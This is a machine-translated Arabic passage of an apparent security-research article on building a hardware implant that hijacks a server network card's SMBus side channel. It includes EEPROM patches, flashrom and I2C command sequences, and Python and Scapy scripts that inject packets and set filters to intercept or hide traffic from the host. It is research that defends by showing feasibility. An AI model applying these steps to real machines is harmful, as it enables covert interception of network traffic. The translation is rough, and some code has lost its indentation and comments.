صنع الغرسة الخاصة بك للإلكترونيات



القصة من بلومبرج التي زُعم أن بعض الغرسات تم تثبيتها على اللوحات الأم [ استخدم الصينيون رقاقة صغيرة للتحكم في أجهزة الكمبيوتر الأمريكية ] لم تمر دون أن يلاحظها أحد. بعد ذلك ، شارك العديد من الأشخاص الأفكار حول إمكانية إنشاء مثل هذه الغرسات (حجمها التقديري أو قدراتها أو طريقة الكشف).

بعد بضعة أيام ، نشرت مجلة بلومبرج مقالة بأدلة إضافية. إليك ما أثار اهتمامنا تحديدًا:
أرسل الخادم القانوني الرسائل بطريقة ما ، الزرع في الآخر ، ولكن يبدو أن كل حركة المرور جاءت من خادم موثوق به.


هناك طرق للتفاعل مع بطاقة الشبكة مباشرة من اللوحة الأم. أشار العديد من الأشخاص إلى أنه يمكنك اللعب مع BMC (Baseboard Management Controller - وهو مكون يسمح بالوصول إلى الخادم بالإضافة إلى القناة الرئيسية) ، مما يسمح للزرع بالتحكم في BMC والوصول إلى بطاقة الشبكة. ولكن كيف يعمل هذا عمليًا؟ دعونا نرى ما إذا كان بإمكاننا إعادة إنتاج ذلك.

موضع البدء


دعونا نلقي نظرة على الواجهات المحتملة بين NIC ( بطاقة الشبكة ) و BMC. واحدة من البروتوكولات الرئيسية للعمل على قناة مخصصة هي واجهة إدارة منصة IPMI الذكية.

IPMI


تقول ويكيبيديا أن IPMI هي "واجهة ذكية لإدارة النظام الأساسي مصممة لرصد وإدارة الميزات المضمنة بشكل مباشر في الأجهزة والبرامج الثابتة لمنصات الخادم. تتمثل الميزات الرئيسية لـ IPMI في المراقبة واستعادة وظائف الإدارة والتسجيل والمخزون ، والتي تتوفر بشكل مستقل عن المعالج و BIOS ونظام التشغيل. قد تتوفر ميزات إدارة النظام الأساسي حتى عند إيقاف تشغيل النظام. " مشابه جدا لما نحتاجه.

يُظهر المخطط الانسيابي التالي مسار تنفيذ المشروع المحتمل:



تحدد IPMI في الواقع قناتين للنطاق الجانبي لبطاقة NIC: SMBus و NC-SI. NC-SI عبارة عن بديل SMBus متطور يدعم سرعات نقل البيانات المحسنة والميزات الجديدة الأخرى. المشكلة هي أنها تحتاج إلى المزيد من الإشارات (حوالي 10) ، ويصعب التدخل في عملها عندما نعمل مع غرسة. حتى الآن ، دعنا نتناول SMBus.

SMBus


SMBus ( ناقل إدارة النظام) هو بروتوكول اتصال تسلسلي لأجهزة الطاقة. ناقل بسيط بسلكين من جانب واحد يوفر اتصالات غير معقدة. غالبًا ما تستخدم في أجهزة الكمبيوتر لتوصيل اللوحة الأم بمصدر طاقة وإرسال تعليمات تشغيل / إيقاف. استنادًا إلى ناقل I 2 C ، شائع الاستخدام في وحدات التحكم الدقيقة. تحتاج الواجهة إلى إشارتين فقط (تردد الساعة والبيانات) ، والإشارة الثالثة هي المقاطعة. مثالية لبروتوكول ألعاب الزرع.

الاتصال الأول


يجب أن تكون ذكيًا ، ولا يمكنك الوصول إلى اللوحة الأم باستخدام BMC. عند دراسة الخصائص الفنية للوحات الأم للخادم ، وجدنا أن بعضها يستخدم شريحة Intel 82574L . إنه ، وفقًا للوثائق ، يوفر "واجهة مرور SMBus المتقدمة" - ما تحتاجه تمامًا. وأفضل ما في الأمر أنه يأتي بتنسيق بطاقة PCI-E.

وصول SMBus


ذهبنا إلى المتجر ، والآن لدينا بطاقات Intel EXPI9301CTBLK مع شريحة 82574L. ماذا الآن

يمكن للوثائق تتبع SMB_DAT و SMB_ALRT_N. لحسن الحظ ، اتضح أنها كلها متاحة على لوحات الاتصال. يبدو أن كل شيء سهل للغاية.


NIC PCB. أعلى اليسار - EEPROM ، موصل أعلى يمين SMBus [ALRT | CLK | DAT]. يرجى ملاحظة أنه تم إغلاق R39 و R40 ، مما يمنع الوصول إلى SMBus لموصل PCIe.

قمنا بتوصيل مسبار I 2 C وفحصنا SMBus ، لكننا لم نحسب أي شيء مفيد. تقول الوثائق أنه يتم تمكين SMBus فقط عند تعيين تسجيل بت محدد. يتم تحميل هذه القيمة من EEPROM. حان الوقت للتعمق أكثر.

تمكين الوصول إلى SMBus


تساعدنا الوثائق مرة أخرى. يتم تحديد الوصول إلى SMBus من خلال قيمة التسجيل الذي تم تحميله من NIC EEPROM. لحسن الحظ ، يمكن قراءة EEPROM باستخدام flashrom. من خلال التخلص من محتويات EEPROM ، يمكننا تحليل القيم وتغييرها:

> ./flashrom -p buspirate_spi:dev=/dev/hydrabus --read /tmp/flash.dump
flashrom p1.0-87-g9891b75-dirty on Linux 4.18.12-arch1-1-ARCH (x86_64)
flashrom is free software, get the source code at https://flashrom.org

Using clock_gettime for delay loops (clk_id: 1, resolution: 1ns).
Found Winbond flash chip "W25X40" (512 kB, SPI) on buspirate_spi.
Reading flash... done.


بناءً على خريطة NVM (الفصل 6.1 من الوثائق) ، من الواضح أننا بحاجة إلى تغيير قيمتين:

  • كلمة التحكم الأولية 2 [MNGM] (فصل ورقة البيانات 6.1.1.6)
  • التوافق [ASF SMBus Connected] (فصل ورقة البيانات 6.1.2.1.1)
  • التوافق [SMBus Connected] (فصل ورقة البيانات 6.1.2.1.1)

من الضروري فقط مراعاة أنه يتم تخزين البيانات في EEPROM بتنسيق endian صغير.

بعد ذلك ، ما زلنا بحاجة للتعامل مع قيمة Checksum. يوضح الفصل 6.1.2.11 أن مجموع كل الكلمات في النطاق [0x00-0x40] يجب أن يكون 0xBABA. سوف يساعدنا القليل من Python في حساب المجموع الاختباري الصحيح:

import struct
data = open('/tmp/flash.mod', 'rb').read()
tot = 0
for i in range(0x3f):
tot = (tot + struct.unpack('<H',data[2*i:(2*i)+2])[0]) & 0xffff

print("Checksum word must be : " + hex(0xbaba-tot))
#Checksum word must be : 0x9efb


وأخيرًا ، جميع التغييرات التي أجريناها على EEPROM:

< 00000000: 6805 ca89 b22e 2004 46f7 8010 ffff ffff h..... .F.......
> 00000000: 6805 ca89 b22e 3014 46f7 8010 ffff ffff h.....0.F.......
< 00000010: 69e4 0881 6b02 1fa0 8680 d310 ffff 5a9c i...k.........Z.
> 00000010: 69e4 0881 6b02 1fa0 8680 d310 ffff 5adc i...k.........Z.

< 00000070: ffff ffff ffff ffff ffff 3001 ffff 0bef ..........0.....
> 00000070: ffff ffff ffff ffff ffff 3001 ffff fb9e ..........0.....


بعد إجراء التغييرات وامض EEPROM ، قمنا بتوصيل مسبار I 2 C و:

i2c1> scan
Device found at address 0x49
i2c1>


يتم ترميز العنوان I 2 C في سبع بتات ، ويتم الحصول على العنوان الذي نحتاجه كـ 0x49 << 1 = 0x92.

الآن لدينا مخطط عمل لزرعنا. يمكننا إرسال أوامر إلى NIC:



تلقي المعلومات


كما كنت قد خمنت ، واصلنا قراءة الوثائق وإرسال أوامر معدة خصيصًا إلى NIC للتحقق من أن كل شيء كان يعمل كما هو متوقع.

تصف الوثائق كل ما تحتاج إلى معرفته عن تنسيق المعاملة في الفصل 8.4.4. والفرق الوحيد هو أننا لسنا بحاجة إلى حساب PEC (المجموع الاختباري لـ SMBus ، الذي يتم حسابه لكل حزمة). على سبيل المثال ، يمكننا إرسال أمر CMD إلى عنوان SLAVE باستخدام التسلسل التالي:

[START] [@SLAVE] [CMD] ( [START] [@SLAVE] [READ_DATA] ) [STOP]

[START] و [STOP] هما شروط START و STOP المحددة بواسطة I 2 C.

على سبيل المثال ، سيكون الأمر لقراءة عنوان MAC (الموضح في الفصل 8.8.2.3) هو 0xD4. نرسل الأمر إلى SMBus في وضع I 2 C:

[START] [0x92] [0xD4] [START] [0x92] [read 8 bytes] [STOP]

عند التحويل إلى فرق Hydrabus ، سيكون هذا:

i2c1> [ 0x92 0xd4 [ 0x92 hd:2 hd:6 ]
I2C START
WRITE: 0x92 ACK 0xD4 ACK <== [NIC address] [command]
I2C START <== Switch state
WRITE: 0x92 ACK <== [NIC address]
07 D4 | .. <== Read [length] [header]
68 05 CA 89 B2 2E | h..... <== Read MAC address bytes
NACK
I2C STOP


ونعم ، نحصل على عنوان MAC الخاص بنا!

صنع غرسة


الآن ، بعد معرفة كيفية التواصل مع NIC ، دعنا نرى كيف يمكنك استخدام هذه القناة لسرقة حركة مرور الشبكة وإرسال البيانات عبر الشبكة. يصف الفصل 8 من الوثائق كل ما تحتاجه للقيام بذلك.

إرسال الحزم


موصوف في الفصلين 8.6 و 8.8.1. يمكننا ببساطة إنشاء إطار Ethernet باستخدام الأوامر. في ما يلي مثال للنص البرمجي لـ Hydrabus أو Bus Pirate لإرسال حزمة:

import serial
import struct
from scapy.all import *

ser = serial.Serial('/dev/ttyACM0',115200)

def send_frame(pkt):
# Define the frame size
pktlen = struct.pack("B", len(pkt))

# Define the data length to be sent
fulllen = struct.pack(">h", len(pkt)+3)

# I2C write-then-read. Send frame + SMBus header, receive 0
ser.write('\x08'+fulllen+'\x00\x00')
ser.write("\x92\xc4"+pktlen+pkt)

# If packet has been sent successfully
if ser.read(1) == '\x01':
print "Send OK"
else:
print "Error sending"
ser.write('\x00')
ser.write('\x00')
ser.write('\x0F\n')
quit()

# Open Hydrabus in binary mode
for i in xrange(20):
ser.write("\x00")
if "BBIO1" not in ser.read(5):
print "Could not get into binary mode"
quit()

# Switch to I2C mode
ser.write('\x02')
if "I2C1" not in ser.read(4):
print "Cannot set I2C mode"
quit()

#Create the frame to send
p = Ether(src="11:22:33:44:55:66", dst="ff:ff:ff:ff:ff:ff") / IP(src="10.31.32.82", dst="10.31.32.80")/ICMP()

#Send the frame
send_frame(str(p))

# Return to main binary mode
ser.write('\x00')
#reset to console mode
ser.write('\x0F\n')


بعد تشغيل البرنامج النصي ، يمكنك رؤية الحزمة قادمة من الجهاز مع الغرسة ، والأكثر إثارة للاهتمام أن الخادم نفسه لا يرى هذه الحزمة على الإطلاق:


Tcpdump من آلة المهاجم على اليسار ، الخادم على اليمين

حزم القراءة


التصفية


لمعرفة الإطارات التي يجب أن تنتقل إلى SMBus ، يستخدم NIC عوامل تصفية التحكم. يقومون بتعيين حركة المرور من الشبكة ، وإما إعادة توجيهها إلى PCIe ، أو إلى SMBus ، أو كلاهما هناك وهناك. من وجهة نظرنا ، يمنحنا هذا مرونة كبيرة:

  • يمكنك تتبع حركة المرور عن طريق تعيين مرشح يقوم بمسحه ضوئيًا وإعادة توجيهه إلى PCIe و SMBus.
  • يمكنك جعل حركة المرور تختفي عن طريق توجيهها إلى SMBus فقط.
  • يمكنك إنشاء قناة مخفية لن تكون مرئية للخادم باستخدام الغرسة.

والأكثر إثارة للاهتمام هو أنه يمكن تكوين الفلتر لتتبع عناصر الإطار المختلفة:

  • منفذ UDP / TCP
  • VLAN
  • IPv4 - IPv6
  • عنوان MAC
  • ...

(للحصول على قائمة كاملة ، انظر الفصل 8.4.2.1)

تتوفر سبعة فلاتر MDEF مستقلة [0: 6] ، ويمكن تكوين كل منها لإعادة توجيه حركة المرور المقابلة إلى PCIe عبر SMBus باستخدام سجل MANC2H (لمزيد من التفاصيل ، راجع الفصل 8.4.3).

التنفيذ


اتضح أنه من الصعب جدًا إعداد كل شيء بشكل صحيح ، لقد جربنا العديد من المجموعات المختلفة لجعل الفلتر يعمل. لحسن الحظ ، أعطتنا الملاحظة حول تطبيق Intel مزيدًا من التفاصيل حول كيفية تشغيل الفلاتر بالطريقة التي نحتاجها.

باستخدام مسبار I 2 C ، يمكننا تكوين كل هذا بأربعة أوامر:

//
[ 0x92 0xca 0x01 0x40 ]
// MDEF[0] , UDP/664 UDP/623
[ 0x92 0xcc 0x06 0x61 0x00 0x00 0x00 0x0c 0x00 ]
// MANC2H
[ 0x92 0xcc 0x05 0x0a 0x00 0x00 0x00 0x00 ]
// (SMBus alerting, status reporting / Enable)
[ 0x92 0xca 0x01 0x45 ]


كما هو موضح في الفصل 8.8.1.3 ، من الضروري ضبط عدة بتات للسماح باستقبال البيانات وإرسال الإطارات مرة أخرى إلى الغرسة. لقد اخترنا تنبيه SMBus لأن النماذج الأخرى تسمح لبطاقة الشبكة بإجراء طلبات غير متزامنة على SMBus (لمزيد من التفاصيل ، انظر الفصل 8.4.5).

إطارات القراءة


نظرًا لأننا استخدمنا طريقة التنبيه SMBus ، كان علينا توقع إيقاف تشغيل إشارة SMB_ALRT_N قبل إرسال الأمر Receive TCO Packet. إذا انتظرنا طويلاً ، فسيتم رفض الحزمة من قبل NIC.

لتوضيح الرسم التخطيطي فقط ، سنرسل الإطارات بشكل دوري ونرسل أوامر قراءة - فقط للتأكد من أن هذا المبدأ يعمل. يبدو المخطط كما يلي:

  • يحتوي الخادم الذي يحتوي على غرسة على فلاتر تراقب حركة المرور باستخدام UDP / 623 (الفصل 3.6.1.2).
  • تمت محاكاة عملية الزرع باستخدام Hydrabus.
  • يرسل خادم آخر الحزم التي تقع تحت الفلتر باستخدام البرنامج النصي Scapy:

from scapy.all import *
p=Ether()/IP(dst="10.31.32.81")/UDP(dport=0x26f)/"MALICIOUS PAYLOAD"
while(1):sendp(p)


اتضح شيء مثير للاهتمام:



على اليسار ، يقرأ SMBus الإطار ؛ وتظهر بيانات الإطار أدناه. على اليمين ، لا يُظهر tcpdump ، الذي يعمل على خادم مزروع ، الإطارات الواردة.

ترحيل الإطار


من خلال تغيير سجل MANC2H ، من الممكن التأكد من عرض حركة المرور التي يتم إرسالها إلى SMBus و PCIe بشكل صحيح على الخادم. على سبيل المثال ، فلنقم بإنشاء عامل تصفية اعتراض يستجيب لحركة UDP / 161 (SNMP) ويرسله إلى SMBus و PCIe:

//
[ 0x92 0xca 0x01 0x40 ]
// - 0 161 (0xa1)
[ 0x92 0xcc 0x04 0x63 0x00 0x00 0xa1 ]
// MDEF[0] , - 0
[ 0x92 0xcc 0x06 0x61 0x00 0x00 0x00 0x10 0x00 ]
// MANC2H MDEF[0] PCIe
[ 0x92 0xcc 0x05 0x0a 0x00 0x00 0x00 0x00 ]
// (SMBus alerting, status reporting / Enable)
[ 0x92 0xca 0x01 0x45 ]


من خلال تمكين الفلاتر ، يمكننا إرسال طلب SNMP إلى الخادم باستخدام الغرسة ونرى الحزمة التي اعترضت الغرسة. في الوقت نفسه ، يستجيب الخادم للطلب - مما يعني أنه تمت إعادة توجيه الحزمة بشكل صحيح إلى SMBus و PCIe:


أعلاه هو طلب SNMP تم اعتراضه من الغرسة. أدناه - وصل طلب SNMP إلى الخادم.

الاستنتاجات


وصفنا طريقة محتملة لتقديم متحكم صغير وغير مكلف كغرس على مستوى NIC. يحتاج هذا الزرع إلى أربعة جهات اتصال على الأقل (Vcc و GND و CLK و DAT) ، ويمكنه التحكم في بطاقة الخادم. من بين ميزاته:

  • الاستماع لحركة مرور الشبكة الواردة إلى الخادم.
  • استقبال الأوامر من الشبكة دون علم الخادم.
  • نقل البيانات عبر الشبكة دون علم الخادم.

في مثالنا ، من أجل البساطة ، تم استخدام Hydrabus كواجهة لـ I 2 C / SMBus ، ولكن يمكن القيام بذلك بنفس السهولة على متحكم صغير ، على سبيل المثال ، ATtiny85 (حوالي حجم EEPROM لـ NIC).

ومع ذلك ، في الحياة الواقعية ، فإن الوصول إلى مثل هذه الغرسة سيكون فقط لـ SMBus. اعتمادًا على مخطط اللوحة الأم ، قد يكون هذا الجهاز هو الجهاز الوحيد المتاح ، ومن ثم سيكون التفاعل مع نظام تشغيل الخادم مستحيلًا. في حالة الحاجة إلى التحكم الكامل في نظام التشغيل ، فمن الأفضل تغيير رمز BMC ، نظرًا لأنه لديه بالفعل حق الوصول إلى جميع الحافلات المثيرة للاهتمام ، ولا يترك آثارًا مرئية على اللوحة الأم.

عيب آخر لمثل هذه الزرع هو أنه يمكنه نقل البيانات بسرعات تصل إلى 100 كيلوبت / ثانية ، وهو ما لا يكفي لإجراء دراسة كاملة لحركة المرور. بالإضافة إلى ذلك ، فإن الغرسة قادرة على اعتراض حركة المرور القادمة من الشبكة فقط. ونتيجة لذلك ، يبدو هذا الحل غير فعال مقارنة بالجهود المطلوبة لتطبيقه في المعدات المستهدفة.

Source: https://habr.com/ru/post/ar429190/


All Articles